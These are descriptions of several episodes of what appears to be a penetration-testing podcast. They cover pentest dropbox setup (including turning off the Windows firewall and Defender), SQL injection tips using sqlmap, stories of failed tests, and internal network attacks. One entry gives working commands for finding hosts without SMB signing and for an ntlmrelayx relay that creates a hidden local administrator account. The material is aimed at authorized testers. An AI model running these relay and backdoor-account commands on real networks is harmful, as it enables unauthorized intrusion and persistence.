In today's episode I cover some of the nasty "gotchas" I've run into when sending my pentest dropboxes around the country. Curious on how to setup your own portable pentest dropboxes (and/or pentest lab environments)? Check out part 1 and part 2 of the DIY Pentest Lab video series. Here are some of the pain points I cover today: Turn the firewall off Set Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Domain Profile > Windows Firewall: Protect all network connections to Disabled. Do the same for the Standard Profile by changing Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Standard Profile > Windows Firewall: Protect all network connections to Disabled. Disable Windows Defender Navigate to Computer Configuration > Administrative Templates > Windows Components > Windows Defender and choose Turn Off Windows Defender. Disable power sleep settings To stop computers from snoozing on the job, head to Computer Configuration > Policies > Administrative Templates > System > Power Management > Sleep Settings and set Allow standby states (S1-S3) when sleeping (plugged in) to Disabled Create a second disk on the Windows management VM and install BitLocker to Go Check out today's show notes at 7ms.us for more info!

My handle is turdsquirt if you ever wanna shoot some zombies together. I share a story that yes, does involve poop - but only the mention of it. It's nothing like the epic tale (tail?) of my parents' dog pooping in my son's dresser drawers. I had a really fun pentest recently where I found some good old school SQL injection. I took to Slack to share and since then, several of you have reached out to ask how I found the vulnerability. Here are some steps/tips I talk about on today's episode that will help: Watch Sunny's Burp courses on Pluralsight to enhance your Burp abilities Install CO2 from the BApp store When doing a Web app pentest, feed various fields SQL injection payloads, such as the ones in PayloadsAlltheThings Grab a copy of sqlmap Use sites like this one to help tune your sqlmap commands to find vulnerabilities. In the end, my command I used to dump contents of important tables was this: (See today's show notes on the 7MS Web site for more information!)

I swear this program isn't turning into the Dr. Phil show, but I have to say that sharing tales of fail is extremely therapeutic for me, and based on your comments, it sounds like many of you feel the same way too. Today's takeaways include: Doing a 8-10 hour internal pentest is probably overly ambitious. Seriously, it's really NOT a lot of time. If a client uses a logging/alerting system, vulnerability scanning is very loud to their digital ears Checking for DNS zone transfers is a good idea!

I was on an epic road trip this week and suddenly remembered the pentest that really had the shortest TTDA (time to domain admin) ever. Enjoy that tale on today's podcast! Oh, and I also reference this gist which might help you test your SIEM bells and whistles. Psssst - I'm sorry (but not sorry) but this episode begins with a long story about a dog pooping inside a dresser drawer. If you'd rather skip that, the actual episode begins at about 29:00)

Today's episode is a two-tale story of me failing fantastically at vulnerability scanning early in my security career. Enjoy. Because I didn't at the time. :-)

Get over 65 hours of IT training for free by visiting https://pro.tv/7minute Today I share the (hopefully) exciting and fun conclusion to last week's episode about a tale of internal pentest pwnage! A few important notes from today's episode: Need to find which hosts on your network have SMB signing disabled, and then get a nice clean list of IPs as a result? Try this: opt/responder/tools/RunFinger.py -i THE.SUBNET.YOU-ARE.ATTACKING/24 -g > hosts.txt grep "Signing:'False'" hosts.txt | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' > targets.txt Source: Pwning internal networks automagically Ready to pass captured hashes from one host to another? Open responder.conf and turn SMB and HTTP to Off, then get Responder running in one window, and ntlmrelayx in another. Specifically, I like to use ntlmrelayx.py -tf targets.txt where targets.txt is the list of machines you found that are not using SMB signing. I also like to add a -c to run a string of my choice. Check out this fun evil little nugget: net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add So the full command would be: ntlmrelayx.py -tf targets.txt -c 'net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add' Check today's show notes at https://7ms.us for more information!

Today I've got another fun tale of internal pentest pwnage that comes out of a few recent assessments I did. These tests were really fun because the clients had good defensive measures in place, such as: Having separate accounts for day-to-day operations and administrative/privileged tasks Local Administrator account largely disabled across the enterprise Lean membership in privileged groups (Domain Admins, Enterprise Admins, Schema Admins, etc.) Hard-to-crack passwords! Will I succeed in getting a solid foothold on this network and (hopefully) escalate to Domain Admin? Check out today's episode to find out!

Hey folks, happy secure 4th o' July! In today's seven minute episode (Wha? Gasp! Yep...it's seven minutes!) I kick back a bit, give you some updates and tease/prepare you for some cool full episodes to come in the near future. Topics covered include: NPK, which I talked about last week is super awesome but I'm having issues getting my jobs to run clean. Will keep you posted on progress! Tales of internal pentest pwnage - wow, folks have been sending me feedback that they really like this series. I've got a good episode coming up for you on that front, just can't share right now as the project is just wrapping up. Songwriting - I enjoy writing songs about people to the tune of the old Spiderman theme song. If they ever do a show like The Voice but they're looking for people to write songs about other people based on the Spiderman theme song, I think I've got a shot.
